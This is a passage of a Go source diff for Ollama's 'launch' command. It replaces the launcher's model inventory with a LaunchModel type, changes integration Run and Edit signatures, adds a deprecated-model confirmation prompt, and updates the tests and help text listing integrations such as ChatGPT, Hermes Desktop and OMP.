+				if name != "chatgpt" {
+					filtered = append(filtered, name)
+				}
+			}
+			want = filtered
+		}
+
 		if diff := compareStrings(got, want); diff != "" {
 			t.Fatalf("launcher integration order mismatch: %s", diff)
 		}
 	})
 
+	t.Run("prioritizes primary launcher integrations", func(t *testing.T) {
+		got := make([]string, 0, len(infos))
+		for _, info := range infos {
+			got = append(got, info.Name)
+		}
+		wantPrefix := []string{"claude", "chatgpt", "hermes", "openclaw", "opencode", "hermes-desktop", "codex", "copilot", "omp"}
+		if codexAppSupported() != nil {
+			wantPrefix = []string{"claude", "hermes", "openclaw", "opencode", "hermes-desktop", "codex", "copilot", "omp"}
+		}
+		if len(got) < len(wantPrefix) {
+			t.Fatalf("expected at least %d integrations, got %v", len(wantPrefix), got)
+		}
+		if diff := compareStrings(got[:len(wantPrefix)], wantPrefix); diff != "" {
+			t.Fatalf("unexpected primary launcher order: %s", diff)
+		}
+	})
+
 	t.Run("all fields populated", func(t *testing.T) {
 		for _, info := range infos {
 			if info.Name == "" {
@@ -1830,7 +1942,10 @@ func TestListIntegrationInfos(t *testing.T) {
 	})
 
 	t.Run("includes known integrations", func(t *testing.T) {
-		known := map[string]bool{"claude": false, "codex": false, "opencode": false}
+		known := map[string]bool{"claude": false, "cline": false, "codex": false, "opencode": false, "omp": false}
+		if codexAppSupported() == nil {
+			known["chatgpt"] = false
+		}
 		if poolsideGOOS != "windows" {
 			known["pool"] = false
 		}
@@ -1855,6 +1970,15 @@ func TestListIntegrationInfos(t *testing.T) {
 		t.Fatal("expected hermes to be included in ListIntegrationInfos")
 	})
 
+	t.Run("includes hermes desktop", func(t *testing.T) {
+		for _, info := range infos {
+			if info.Name == "hermes-desktop" {
+				return
+			}
+		}
+		t.Fatal("expected hermes-desktop to be included in ListIntegrationInfos")
+	})
+
 	t.Run("hermes still resolves explicitly", func(t *testing.T) {
 		name, runner, err := LookupIntegration("hermes")
 		if err != nil {
@@ -1953,6 +2077,7 @@ func TestIntegration_Editor(t *testing.T) {
 		{"claude", false},
 		{"claude-desktop", false},
 		{"codex", false},
+		{"omp", false},
 		{"nonexistent", false},
 	}
 	for _, tt := range tests {
@@ -1977,10 +2102,14 @@ func TestIntegration_AutoInstallable(t *testing.T) {
 		{"openclaw", true},
 		{"pi", true},
 		{"hermes", true},
-		{"claude", false},
+		{"hermes-desktop", true},
+		{"cline", true},
+		{"qwen", true},
+		{"claude", true},
 		{"claude-desktop", false},
 		{"codex", false},
-		{"opencode", false},
+		{"opencode", true},
+		{"omp", false},
 	}
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {

cmd/launch/kimi.go

@@ -36,7 +36,7 @@ func (k *Kimi) args(config string, extra []string) []string {
 	return args
 }
 
-func (k *Kimi) Run(model string, args []string) error {
+func (k *Kimi) Run(model string, _ []LaunchModel, args []string) error {
 	if strings.TrimSpace(model) == "" {
 		return fmt.Errorf("model is required")
 	}

cmd/launch/kimi_test.go

@@ -307,7 +307,7 @@ func TestKimiRun_RejectsConflictingArgsBeforeInstall(t *testing.T) {
 	}
 	t.Cleanup(func() { DefaultConfirmPrompt = oldConfirm })
 
-	err := k.Run("llama3.2", []string{"--model", "other"})
+	err := k.Run("llama3.2", nil, []string{"--model", "other"})
 	if err == nil || !strings.Contains(err.Error(), "--model") {
 		t.Fatalf("expected conflict error mentioning --model, got %v", err)
 	}
@@ -337,7 +337,7 @@ exit 0
 	t.Setenv("OLLAMA_HOST", srv.URL)
 
 	k := &Kimi{}
-	if err := k.Run("llama3.2", []string{"--quiet", "--print"}); err != nil {
+	if err := k.Run("llama3.2", nil, []string{"--quiet", "--print"}); err != nil {
 		t.Fatalf("Run() error = %v", err)
 	}
 

cmd/launch/launch.go

@@ -12,6 +12,7 @@ import (
 
 	"github.com/ollama/ollama/api"
 	"github.com/ollama/ollama/cmd/config"
+	modelpkg "github.com/ollama/ollama/types/model"
 	"github.com/spf13/cobra"
 	"golang.org/x/term"
 )
@@ -137,16 +138,17 @@ var isInteractiveSession = func() bool {
 	return term.IsTerminal(int(os.Stdin.Fd())) && term.IsTerminal(int(os.Stdout.Fd()))
 }
 
-// Runner executes a model with an integration.
+// Runner executes an integration with the selected model and its resolved
+// launch metadata. models is ordered with the primary model first.
 type Runner interface {
-	Run(model string, args []string) error
+	Run(model string, models []LaunchModel, args []string) error
 	String() string
 }
 
 // Editor can edit config files for integrations that support model configuration.
 type Editor interface {
 	Paths() []string
-	Edit(models []string) error
+	Edit(models []LaunchModel) error
 	Models() []string
 }
 
@@ -165,7 +167,7 @@ type ManagedSingleModel interface {
 // ManagedModelListConfigurer lets managed single-model integrations receive
 // the launcher's model list while still preserving one primary selected model.
 type ManagedModelListConfigurer interface {
-	ConfigureWithModels(primary string, models []string) error
+	ConfigureWithModels(primary string, models []LaunchModel) error
 }
 
 // ManagedAutodiscoveryIntegration is for managed integrations that do not need
@@ -202,6 +204,12 @@ type RestoreSuccessIntegration interface {
 	RestoreSuccessMessage() string
 }
 
+// RestoreInstallCheckSkipper lets cleanup-only restore flows run even when the
+// external integration binary has already been removed.
+type RestoreInstallCheckSkipper interface {
+	SkipRestoreInstallCheck() bool
+}
+
 // ManagedRuntimeRefresher lets managed integrations refresh any long-lived
 // background runtime after launch rewrites their config.
 type ManagedRuntimeRefresher interface {
@@ -239,24 +247,18 @@ type SupportedIntegration interface {
 	Supported() error
 }
 
-type modelInfo struct {
-	Name        string
-	Remote      bool
-	ToolCapable bool
-}
-
-// ModelInfo re-exports launcher model inventory details for callers.
-type ModelInfo = modelInfo
-
 // ModelItem represents model metadata before selector-only UI state is derived.
 type ModelItem struct {
 	Name            string
 	Description     string
 	Recommended     bool
 	VRAMBytes       int64
-	ContextLength   int
 	MaxOutputTokens int
 	RequiredPlan    string
+	ToolCapable     bool
+	Capabilities    []modelpkg.Capability
+	Size            int64
+	Details         api.ModelDetails
 }
 
 // SelectionItem represents a model row after launch has derived selector-only UI state.
@@ -285,25 +287,32 @@ Flags and extra arguments require an integration name.
 
 Supported integrations:
   claude          Claude Code
-  cline           Cline
-  codex           Codex
-  copilot         Copilot CLI (aliases: copilot-cli)
-  droid           Droid
+  chatgpt         ChatGPT (aliases: codex-app, codex-desktop, codex-gui)
   hermes          Hermes Agent
-  kimi            Kimi Code CLI
-  opencode        OpenCode
   openclaw        OpenClaw (aliases: clawdbot, moltbot)
+  opencode        OpenCode
+  codex           Codex
+  hermes-desktop  Hermes Desktop
+  copilot         Copilot CLI (aliases: copilot-cli)
+  omp             OMP
+  droid           Droid
+  kimi            Kimi Code CLI
   pi              Pi
   pool            Pool
+  cline           Cline
+  qwen            Qwen Code
   vscode          VS Code (aliases: code)
 
 Examples:
   ollama launch
   ollama launch claude
   ollama launch claude --model <model>
+  ollama launch chatgpt
+  ollama launch chatgpt --restore
   ollama launch hermes
+  ollama launch hermes-desktop
   ollama launch droid --config (does not auto-launch)
-  ollama launch codex -- -p myprofile (pass extra args to integration)
+  ollama launch codex --restore
   ollama launch codex -- --sandbox workspace-write`,
 		Args: cobra.ArbitraryArgs,
 		PreRunE: func(cmd *cobra.Command, args []string) error {
@@ -406,8 +415,7 @@ func launchCommandIsClaudeDesktop(name string) bool {
 
 type launcherClient struct {
 	apiClient             *api.Client
-	modelInventory        []ModelInfo
-	inventoryLoaded       bool
+	inventory             *modelInventory
 	recommendationsLoaded bool
 	recommendationItems   []ModelItem
 	accountState          *AccountState
@@ -424,10 +432,18 @@ func newLauncherClient(policy LaunchPolicy) (*launcherClient, error) {
 
 	return &launcherClient{
 		apiClient: apiClient,
+		inventory: newModelInventory(apiClient),
 		policy:    policy,
 	}, nil
 }
 
+func (c *launcherClient) modelInventory() *modelInventory {
+	if c.inventory == nil {
+		c.inventory = newModelInventory(c.apiClient)
+	}
+	return c.inventory
+}
+
 // BuildLauncherState returns the launch-owned root launcher menu snapshot.
 func BuildLauncherState(ctx context.Context) (*LauncherState, error) {
 	launchClient, err := newLauncherClient(defaultLaunchPolicy(isInteractiveSession(), false))
@@ -520,8 +536,10 @@ func restoreIntegration(name string, runner Runner, req IntegrationLaunchRequest
 	if !ok {
 		return fmt.Errorf("%s does not support --restore", name)
 	}
-	if err := EnsureIntegrationInstalled(name, runner); err != nil {
-		return err
+	if skipper, ok := runner.(RestoreInstallCheckSkipper); !ok || !skipper.SkipRestoreInstallCheck() {
+		if err := EnsureIntegrationInstalled(name, runner); err != nil {
+			return err
+		}
 	}
 	if err := restorable.Restore(); err != nil {
 		return err
@@ -549,7 +567,7 @@ func prepareIntegrationLaunch(name string, policy LaunchPolicy) (*launcherClient
 }
 
 func (c *launcherClient) buildLauncherState(ctx context.Context) (*LauncherState, error) {
-	_ = c.loadModelInventoryOnce(ctx)
+	_, _ = c.modelInventory().Load(ctx)
 
 	state := &LauncherState{
 		LastSelection: config.LastSelection(),
@@ -689,9 +707,12 @@ func (c *launcherClient) resolveRunModel(ctx context.Context, req RunModelReques
 		}
 		if usable {
 			if err := c.ensureModelsReady(ctx, []string{current}); err != nil {
-				return "", err
+				if !errors.Is(err, errDeprecatedLaunchModelDeclined) {
+					return "", err
+				}
+			} else {
+				return current, nil
 			}
-			return current, nil
 		}
 	}
 
@@ -708,7 +729,7 @@ func (c *launcherClient) resolveRunModel(ctx context.Context, req RunModelReques
 }
 
 func (c *launcherClient) launchSingleIntegration(ctx context.Context, name string, runner Runner, saved *config.IntegrationConfig, req IntegrationLaunchRequest) error {
-	target, _, err := c.resolveSingleIntegrationTarget(ctx, runner, primaryModelFromConfig(saved), req)
+	target, _, err := c.resolveSingleIntegrationTarget(ctx, name, runner, primaryModelFromConfig(saved), req)
 	if err != nil {
 		return err
 	}
@@ -723,21 +744,29 @@ func (c *launcherClient) launchSingleIntegration(ctx context.Context, name strin
 		}
 	}
 
-	return launchAfterConfiguration(name, runner, target, req)
+	return launchAfterConfiguration(name, runner, target, c.resolveRunModels(ctx, []string{target}), req)
 }
 
 func (c *launcherClient) launchEditorIntegration(ctx context.Context, name string, runner Runner, editor Editor, saved *config.IntegrationConfig, req IntegrationLaunchRequest) error {
 	models, needsConfigure := c.resolveEditorLaunchModels(ctx, saved, req)
 
 	if needsConfigure {
-		selected, err := c.selectMultiModelsForIntegration(ctx, runner, models)
+		selected, err := c.selectMultiModelsForIntegration(ctx, name, runner, models)
 		if err != nil {
 			return err
 		}
 		models = selected
 	} else if len(models) > 0 {
-		if err := c.ensureModelsReady(ctx, models[:1]); err != nil {
-			return err
+		if err := c.ensureModelsReadyFor(ctx, models[:1], runner.String(), name); err != nil {
+			if !errors.Is(err, errDeprecatedLaunchModelDeclined) || req.ModelOverride != "" {
+				return err
+			}
+			selected, err := c.selectMultiModelsForIntegration(ctx, name, runner, models)
+			if err != nil {
+				return err
+			}
+			models = selected
+			needsConfigure = true
 		}
 	}
 
@@ -745,13 +774,18 @@ func (c *launcherClient) launchEditorIntegration(ctx context.Context, name strin
 		return nil
 	}
 
-	if (needsConfigure || req.ModelOverride != "") && !savedMatchesModels(saved, models) {
-		if err := prepareEditorIntegration(name, editor, models); err != nil {
+	var launchModels []LaunchModel
+	liveConfigMatches := slices.Equal(editor.Models(), models)
+	if needsConfigure || req.ModelOverride != "" || !savedMatchesModels(saved, models) || !liveConfigMatches {
+		launchModels = c.modelInventory().Resolve(ctx, models)
+		if err := prepareEditorIntegration(name, editor, launchModels); err != nil {
 			return err
 		}
+	} else {
+		launchModels = c.resolveRunModels(ctx, models)
 	}
 
-	return launchAfterConfiguration(name, runner, models[0], req)
+	return launchAfterConfiguration(name, runner, models[0], launchModels, req)
 }
 
 func (c *launcherClient) launchManagedSingleIntegration(ctx context.Context, name string, runner Runner, managed ManagedSingleModel, saved *config.IntegrationConfig, req IntegrationLaunchRequest) error {
@@ -761,7 +795,7 @@ func (c *launcherClient) launchManagedSingleIntegration(ctx context.Context, nam
 		selectionCurrent = primaryModelFromConfig(saved)
 	}
 
-	target, needsConfigure, err := c.resolveSingleIntegrationTarget(ctx, runner, selectionCurrent, req)
+	target, needsConfigure, err := c.resolveSingleIntegrationTarget(ctx, name, runner, selectionCurrent, req)
 	if err != nil {
 		return err
 	}
@@ -769,12 +803,18 @@ func (c *launcherClient) launchManagedSingleIntegration(ctx context.Context, nam
 		return nil
 	}
 
-	if needsConfigure || req.ModelOverride != "" || (current != "" && target != current) || !savedMatchesModels(saved, []string{target}) {
+	// current is the live managed app config; target may come from saved launch
+	// state. Rewrite when the live config is missing or has drifted so the app
+	// config converges with the model which launch is about to use.
+	liveConfigMissing := current == ""
+	liveConfigDrifted := current != "" && target != current
+	configured := false
+	if needsConfigure || req.ModelOverride != "" || liveConfigMissing || liveConfigDrifted || !savedMatchesModels(saved, []string{target}) {
 		configureModels, err := c.managedSingleConfigureModels(ctx, managed, target)
 		if err != nil {
 			return err
 		}
-		if err := prepareManagedSingleIntegration(name, managed, target, configureModels); err != nil {
+		if err := prepareManagedSingleIntegration(name, managed, target, c.modelInventory().Resolve(ctx, configureModels)); err != nil {
 			return err
 		}
 		if refresher, ok := managed.(ManagedRuntimeRefresher); ok {
@@ -782,6 +822,7 @@ func (c *launcherClient) launchManagedSingleIntegration(ctx context.Context, nam
 				return err
 			}
 		}
+		configured = true
 	}
 
 	if !managedIntegrationOnboarded(saved, managed) {
@@ -793,11 +834,17 @@ func (c *launcherClient) launchManagedSingleIntegration(ctx context.Context, nam
 		}
 	}
 
+	if configured {
+		if !printConfigurationSuccess(managed) {
+			printRestoreHint(managed)
+		}
+	}
+
 	if req.ConfigureOnly {
 		return nil
 	}
 
-	return runIntegration(runner, target, req.ExtraArgs)
+	return runIntegration(runner, target, c.resolveRunModels(ctx, []string{target}), req.ExtraArgs)
 }
 
 func (c *launcherClient) launchManagedAutodiscoveryIntegration(ctx context.Context, name string, runner Runner, autodiscovery ManagedAutodiscoveryIntegration, saved *config.IntegrationConfig, req IntegrationLaunchRequest) error {
@@ -840,7 +887,7 @@ func (c *launcherClient) launchManagedAutodiscoveryIntegration(ctx context.Conte
 		return nil
 	}
 
-	return runIntegration(runner, target, req.ExtraArgs)
+	return runIntegration(runner, target, c.resolveRunModels(ctx, []string{target}), req.ExtraArgs)
 }
 
 func (c *launcherClient) managedAutodiscoveryUsable(ctx context.Context, autodiscovery ManagedAutodiscoveryIntegration) bool {
@@ -918,7 +965,7 @@ func (c *launcherClient) managedSingleConfigureModels(ctx context.Context, manag
 	return dedupeModelList(models), nil
 }
 
-func (c *launcherClient) resolveSingleIntegrationTarget(ctx context.Context, runner Runner, current string, req IntegrationLaunchRequest) (string, bool, error) {
+func (c *launcherClient) resolveSingleIntegrationTarget(ctx context.Context, name string, runner Runner, current string, req IntegrationLaunchRequest) (string, bool, error) {
 	target := req.ModelOverride
 	needsConfigure := req.ForceConfigure
 	skipReadiness := false
@@ -941,15 +988,25 @@ func (c *launcherClient) resolveSingleIntegrationTarget(ctx context.Context, run
 		}
 	}
 
-	if needsConfigure {
-		selected, err := c.selectSingleModelWithSelectorReady(ctx, fmt.Sprintf("Select model for %s:", runner), target, DefaultSingleSelector, !skipReadiness)
+	if needsConfigure && req.ModelOverride == "" {
+		selected, err := c.selectSingleModelWithSelectorReady(ctx, fmt.Sprintf("Select model for %s:", runner), target, DefaultSingleSelector, !skipReadiness, runner.String(), name)
 		if err != nil {
 			return "", false, err
 		}
 		target = selected
 	} else if !skipReadiness {
-		if err := c.ensureModelsReady(ctx, []string{target}); err != nil {
-			return "", false, err
+		if err := c.ensureModelsReadyFor(ctx, []string{target}, runner.String(), name); err != nil {
+			if !errors.Is(err, errDeprecatedLaunchModelDeclined) {
+				return "", false, err
+			}
+			// "Pick another model" is an interactive recovery path, including
+			// when --model supplied the initial target.
+			selected, err := c.selectSingleModelWithSelectorReady(ctx, fmt.Sprintf("Select model for %s:", runner), target, DefaultSingleSelector, true, runner.String(), name)
+			if err != nil {
+				return "", false, err
+			}
+			target = selected
+			needsConfigure = true
 		}
 	}
 
@@ -987,7 +1044,7 @@ func managedRequiresInteractiveOnboarding(managed any) bool {
 }
 
 func (c *launcherClient) selectSingleModelWithSelector(ctx context.Context, title, current string, selector SingleSelector) (string, error) {
-	return c.selectSingleModelWithSelectorReady(ctx, title, current, selector, true)
+	return c.selectSingleModelWithSelectorReady(ctx, title, current, selector, true, "ollama launch", "")
 }
 
 func (c *launcherClient) latestAccountState() *AccountState {
@@ -997,7 +1054,7 @@ func (c *launcherClient) latestAccountState() *AccountState {
 	return c.accountState
 }
 
-func (c *launcherClient) selectSingleModelWithSelectorReady(ctx context.Context, title, current string, selector SingleSelector, ensureReady bool) (string, error) {
+func (c *launcherClient) selectSingleModelWithSelectorReady(ctx context.Context, title, current string, selector SingleSelector, ensureReady bool, label, commandName string) (string, error) {
 	if selector == nil && DefaultSingleSelectorWithUpdates == nil {
 		return "", fmt.Errorf("no selector configured")
 	}
@@ -1022,11 +1079,15 @@ func (c *launcherClient) selectSingleModelWithSelectorReady(ctx context.Context,
 			return "", ErrCancelled
 		}
 		if ensureReady {
-			if err := c.ensureModelsReady(ctx, []string{selected}); err != nil {
+			if err := c.ensureModelsReadyFor(ctx, []string{selected}, label, commandName); err != nil {
 				if errors.Is(err, errUpgradeCancelled) {
 					current = selected
 					continue
 				}
+				if errors.Is(err, errDeprecatedLaunchModelDeclined) {
+					current = selected
+					continue
+				}
 				return "", err
 			}
 		}
@@ -1034,7 +1095,7 @@ func (c *launcherClient) selectSingleModelWithSelectorReady(ctx context.Context,
 	}
 }
 
-func (c *launcherClient) selectMultiModelsForIntegration(ctx context.Context, runner Runner, preChecked []string) ([]string, error) {
+func (c *launcherClient) selectMultiModelsForIntegration(ctx context.Context, name string, runner Runner, preChecked []string) ([]string, error) {
 	if DefaultMultiSelector == nil && DefaultMultiSelectorWithUpdates == nil {
 		return nil, fmt.Errorf("no selector configured")
 	}
@@ -1056,12 +1117,16 @@ func (c *launcherClient) selectMultiModelsForIntegration(ctx context.Context, ru
 		if err != nil {
 			return nil, err
 		}
-		accepted, skipped, err := c.selectReadyModelsForSave(ctx, selected)
+		accepted, skipped, err := c.selectReadyModelsForSave(ctx, selected, runner.String(), name)
 		if err != nil {
 			if errors.Is(err, errUpgradeCancelled) {
 				orderedChecked = append([]string(nil), selected...)
 				continue
 			}
+			if errors.Is(err, errDeprecatedLaunchModelDeclined) {
+				orderedChecked = append([]string(nil), selected...)
+				continue
+			}
 			return nil, err
 		}
 		for _, skip := range skipped {
@@ -1092,13 +1157,16 @@ func runMultiSelector(title string, items []SelectionItem, preChecked []string,
 }
 
 func (c *launcherClient) loadSelectableModels(ctx context.Context, preChecked []string, current, emptyMessage string) ([]ModelItem, []string, error) {
-	if err := c.loadModelInventoryOnce(ctx); err != nil {
+	inventory, err := c.modelInventory().Load(ctx)
+	if err != nil {
 		return nil, nil, err
 	}
 	recommendations := c.recommendations(ctx)
 
 	cloudDisabled, _ := cloudStatusDisabled(ctx, c.apiClient)
-	items, orderedChecked, _, _ := buildModelListWithRecommendations(c.modelInventory, recommendations, preChecked, current)
+	items, orderedChecked, _, _ := buildModelListWithRecommendations(inventory, recommendations, preChecked, current)
+	items = filterDeprecatedLaunchModelItems(items)
+	orderedChecked = filterDeprecatedLaunchModelNames(orderedChecked)
 	if cloudDisabled {
 		items = filterCloudItems(items)
 		orderedChecked = c.filterDisabledCloudModels(ctx, orderedChecked)
@@ -1163,9 +1231,11 @@ func (c *launcherClient) requestRecommendations(ctx context.Context) ([]ModelIte
 			Description:     description,
 			Recommended:     true,
 			VRAMBytes:       rec.VRAMBytes,
-			ContextLength:   rec.ContextLength,
 			MaxOutputTokens: rec.MaxOutputTokens,
 			RequiredPlan:    strings.TrimSpace(rec.RequiredPlan),
+			Details: api.ModelDetails{
+				ContextLength: rec.ContextLength,
+			},
 		})
 	}
 
@@ -1173,13 +1243,31 @@ func (c *launcherClient) requestRecommendations(ctx context.Context) ([]ModelIte
 }
 
 func (c *launcherClient) ensureModelsReady(ctx context.Context, models []string) error {
+	return c.ensureModelsReadyFor(ctx, models, "ollama launch", "")
+}
+
+func (c *launcherClient) ensureModelsReadyFor(ctx context.Context, models []string, label, commandName string) error {
 	models = dedupeModelList(models)
 	if len(models) == 0 {
 		return nil
 	}
+	cloudRec, localRec := c.agentCapableRecommendations(ctx)
 
 	cloudModels := make(map[string]bool, len(models))
 	for _, model := range models {
+		if prompt := deprecatedLaunchModelPrompt(model, label, commandName, cloudRec, localRec); prompt != "" {
+			ok, err := ConfirmPromptWithOptions(prompt, ConfirmOptions{
+				YesLabel: "Launch anyway",
+				NoLabel:  "Pick another model",
+				Default:  ConfirmDefaultNo,
+			})
+			if err != nil {
+				return err
+			}
+			if !ok {
+				return errDeprecatedLaunchModelDeclined
+			}
+		}
 		isCloudModel := isCloudModelName(model)
 		if isCloudModel {
 			cloudModels[model] = true
@@ -1194,6 +1282,27 @@ func (c *launcherClient) ensureModelsReady(ctx context.Context, models []string)
 	return ensureAuth(ctx, c.apiClient, cloudModels, models)
 }
 
+func (c *launcherClient) agentCapableRecommendations(ctx context.Context) (cloud, local string) {
+	recs := c.recommendations(ctx)
+	cloudDisabled, known := cloudStatusDisabled(ctx, c.apiClient)
+	for _, rec := range recs {
+		if rec.Name == "" || isDeprecatedLaunchModel(rec.Name) {
+			continue
+		}
+		if isCloudModelName(rec.Name) {
+			if cloud == "" && !(known && cloudDisabled) {
+				cloud = rec.Name
+			}
+		} else if local == "" {
+			local = rec.Name
+		}
+		if cloud != "" && local != "" {
+			break
+		}
+	}
+	return cloud, local
+}
+
 func dedupeModelList(models []string) []string {
 	deduped := make([]string, 0, len(models))
 	seen := make(map[string]bool, len(models))
@@ -1212,16 +1321,19 @@ type skippedModel struct {
 	reason string
 }
 
-func (c *launcherClient) selectReadyModelsForSave(ctx context.Context, selected []string) ([]string, []skippedModel, error) {
+func (c *launcherClient) selectReadyModelsForSave(ctx context.Context, selected []string, label, commandName string) ([]string, []skippedModel, error) {
 	selected = dedupeModelList(selected)
 	accepted := make([]string, 0, len(selected))
 	skipped := make([]skippedModel, 0, len(selected))
 
 	for _, model := range selected {
-		if err := c.ensureModelsReady(ctx, []string{model}); err != nil {
+		if err := c.ensureModelsReadyFor(ctx, []string{model}, label, commandName); err != nil {
 			if errors.Is(err, errUpgradeCancelled) {
 				return nil, nil, err
 			}
+			if errors.Is(err, errDeprecatedLaunchModelDeclined) {
+				return nil, nil, err
+			}
 			if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
 				return nil, nil, err
 			}
@@ -1286,10 +1398,11 @@ func (c *launcherClient) filterDisabledCloudModels(ctx context.Context, models [
 }
 
 func (c *launcherClient) savedModelUsable(ctx context.Context, name string) (bool, error) {
-	if err := c.loadModelInventoryOnce(ctx); err != nil {
+	inventory, err := c.modelInventory().Load(ctx)
+	if err != nil {
 		return c.showBasedModelUsable(ctx, name)
 	}
-	return c.singleModelUsable(ctx, name), nil
+	return c.singleModelUsable(ctx, name, inventory), nil
 }
 
 func (c *launcherClient) showBasedModelUsable(ctx context.Context, name string) (bool, error) {
@@ -1315,7 +1428,7 @@ func (c *launcherClient) showBasedModelUsable(ctx context.Context, name string)
 	return true, nil
 }
 
-func (c *launcherClient) singleModelUsable(ctx context.Context, name string) bool {
+func (c *launcherClient) singleModelUsable(ctx context.Context, name string, inventory []LaunchModel) bool {
 	if name == "" {
 		return false
 	}
@@ -1323,11 +1436,11 @@ func (c *launcherClient) singleModelUsable(ctx context.Context, name string) boo
 		cloudDisabled, _ := cloudStatusDisabled(ctx, c.apiClient)
 		return !cloudDisabled
 	}
-	return c.hasLocalModel(name)
+	return hasLocalModel(inventory, name)
 }
 
-func (c *launcherClient) hasLocalModel(name string) bool {
-	for _, model := range c.modelInventory {
+func hasLocalModel(inventory []LaunchModel, name string) bool {
+	for _, model := range inventory {
 		if model.Remote {
 			continue
 		}
@@ -1338,37 +1451,18 @@ func (c *launcherClient) hasLocalModel(name string) bool {
 	return false
 }
 
-func (c *launcherClient) loadModelInventoryOnce(ctx context.Context) error {
-	if c.inventoryLoaded {
-		return nil
-	}
-
-	resp, err := c.apiClient.List(ctx)
-	if err != nil {
-		return err
-	}
-
-	c.modelInventory = c.modelInventory[:0]
-	for _, model := range resp.Models {
-		c.modelInventory = append(c.modelInventory, ModelInfo{
-			Name:   model.Name,
-			Remote: model.RemoteModel != "",
-		})
-	}
-
-	cloudDisabled, _ := cloudStatusDisabled(ctx, c.apiClient)
-	if cloudDisabled {
-		c.modelInventory = filterCloudModels(c.modelInventory)
-	}
-	c.inventoryLoaded = true
-	return nil
+func (c *launcherClient) resolveRunModels(ctx context.Context, models []string) []LaunchModel {
+	return c.modelInventory().Resolve(ctx, models)
 }
 
-func runIntegration(runner Runner, modelName string, args []string) error {
-	return runner.Run(modelName, args)
+func runIntegration(runner Runner, modelName string, models []LaunchModel, args []string) error {
+	if len(models) == 0 && modelName != "" {
+		models = launchModelsFromNames([]string{modelName})
+	}
+	return runner.Run(modelName, models, args)
 }
 
-func launchAfterConfiguration(name string, runner Runner, model string, req IntegrationLaunchRequest) error {
+func launchAfterConfiguration(name string, runner Runner, model string, models []LaunchModel, req IntegrationLaunchRequest) error {
 	if req.ConfigureOnly {
 		launch, err := ConfirmPrompt(fmt.Sprintf("Launch %s now?", runner))
 		if err != nil {
@@ -1381,7 +1475,7 @@ func launchAfterConfiguration(name string, runner Runner, model string, req Inte
 	if err := EnsureIntegrationInstalled(name, runner); err != nil {
 		return err
 	}
-	return runIntegration(runner, model, req.ExtraArgs)
+	return runIntegration(runner, model, models, req.ExtraArgs)
 }
 
 func loadStoredIntegrationConfig(name string) (*config.IntegrationConfig, error) {

cmd/launch/model_inventory.go

@@ -0,0 +1,201 @@
+package launch
+
+import (
+	"context"
+	"slices"
+	"strings"
+	"sync"
+
+	"github.com/ollama/ollama/api"
+	modelpkg "github.com/ollama/ollama/types/model"
+)
+
+// LaunchModel is the model metadata Launch passes to integration config
+// writers after resolving selected model names through the per-run inventory.
+type LaunchModel struct {
+	Name            string
+	Remote          bool
+	ToolCapable     bool
+	Capabilities    []modelpkg.Capability
+	ContextLength   int
+	MaxOutputTokens int
+	EmbeddingLength int
+	Size            int64
+	Details         api.ModelDetails
+}
+
+type modelInfo = LaunchModel
+
+// ModelInfo re-exports launcher model inventory details for callers.
+type ModelInfo = LaunchModel
+
+func (m LaunchModel) HasCapability(capability modelpkg.Capability) bool {
+	return slices.Contains(m.Capabilities, capability)
+}
+
+func (m LaunchModel) WithCloudLimits() LaunchModel {
+	if limit, ok := lookupCloudModelLimit(m.Name); ok {
+		if m.ContextLength <= 0 {
+			m.ContextLength = limit.Context
+		}
+		if m.MaxOutputTokens <= 0 {
+			m.MaxOutputTokens = limit.Output
+		}
+	}
+	return m
+}
+
+type modelInventory struct {
+	client *api.Client
+
+	mu     sync.Mutex
+	loaded bool
+	models []LaunchModel
+	err    error
+}
+
+func newModelInventory(client *api.Client) *modelInventory {
+	return &modelInventory{client: client}
+}
+
+func (i *modelInventory) Load(ctx context.Context) ([]LaunchModel, error) {
+	return i.load(ctx, false)
+}
+
+func (i *modelInventory) Refresh(ctx context.Context) ([]LaunchModel, error) {
+	return i.load(ctx, true)
+}
+
+func (i *modelInventory) load(ctx context.Context, force bool) ([]LaunchModel, error) {
+	if i == nil || i.client == nil {
+		return nil, nil
+	}
+
+	i.mu.Lock()
+	defer i.mu.Unlock()
+
+	if i.loaded && !force {
+		return cloneLaunchModels(i.models), i.err
+	}
+
+	resp, err := i.client.List(ctx)
+	if err != nil {
+		i.models = nil
+		i.err = err
+		i.loaded = true
+		return nil, err
+	}
+
+	i.models = make([]LaunchModel, 0, len(resp.Models))
+	for _, model := range resp.Models {
+		i.models = append(i.models, launchModelFromListResponse(model))
+	}
+	i.err = nil
+	i.loaded = true
+
+	return cloneLaunchModels(i.models), i.err
+}
+
+func (i *modelInventory) Resolve(ctx context.Context, names []string) []LaunchModel {
+	names = dedupeModelList(names)
+	if len(names) == 0 {
+		return nil
+	}
+
+	models, err := i.Load(ctx)
+	if err != nil {
+		models = nil
+	}
+
+	resolved, localMiss := resolveLaunchModels(names, models)
+	if localMiss {
+		if refreshed, err := i.Refresh(ctx); err == nil {
+			resolved, _ = resolveLaunchModels(names, refreshed)
+		}
+	}
+	return resolved
+}
+
+func resolveLaunchModels(names []string, models []LaunchModel) ([]LaunchModel, bool) {
+	resolved := make([]LaunchModel, 0, len(names))
+	localMiss := false
+	for _, name := range names {
+		if model, ok := findLaunchModel(models, name); ok {
+			resolved = append(resolved, model.WithCloudLimits())
+			continue
+		}
+		if !isCloudModelName(name) {
+			localMiss = true
+		}
+		resolved = append(resolved, fallbackLaunchModel(name))
+	}
+	return resolved, localMiss
+}
+
+func launchModelFromListResponse(model api.ListModelResponse) LaunchModel {
+	return LaunchModel{
+		Name:            model.Name,
+		Remote:          model.RemoteModel != "",
+		ToolCapable:     slices.Contains(model.Capabilities, modelpkg.CapabilityTools),
+		Capabilities:    append([]modelpkg.Capability(nil), model.Capabilities...),
+		ContextLength:   model.Details.ContextLength,
+		EmbeddingLength: model.Details.EmbeddingLength,
+		Size:            model.Size,
+		Details:         model.Details,
+	}.WithCloudLimits()
+}
+
+func fallbackLaunchModel(name string) LaunchModel {
+	return LaunchModel{Name: name, Remote: isCloudModelName(name)}.WithCloudLimits()
+}
+
+func findLaunchModel(models []LaunchModel, name string) (LaunchModel, bool) {
+	for _, model := range models {
+		if launchModelMatches(model.Name, name) {
+			return cloneLaunchModel(model), true
+		}
+	}
+	return LaunchModel{}, false
+}
+
+func launchModelMatches(candidate, name string) bool {
+	if candidate == name {
+		return true
+	}
+	return strings.TrimSuffix(candidate, ":latest") == name
+}
+
+func cloneLaunchModel(model LaunchModel) LaunchModel {
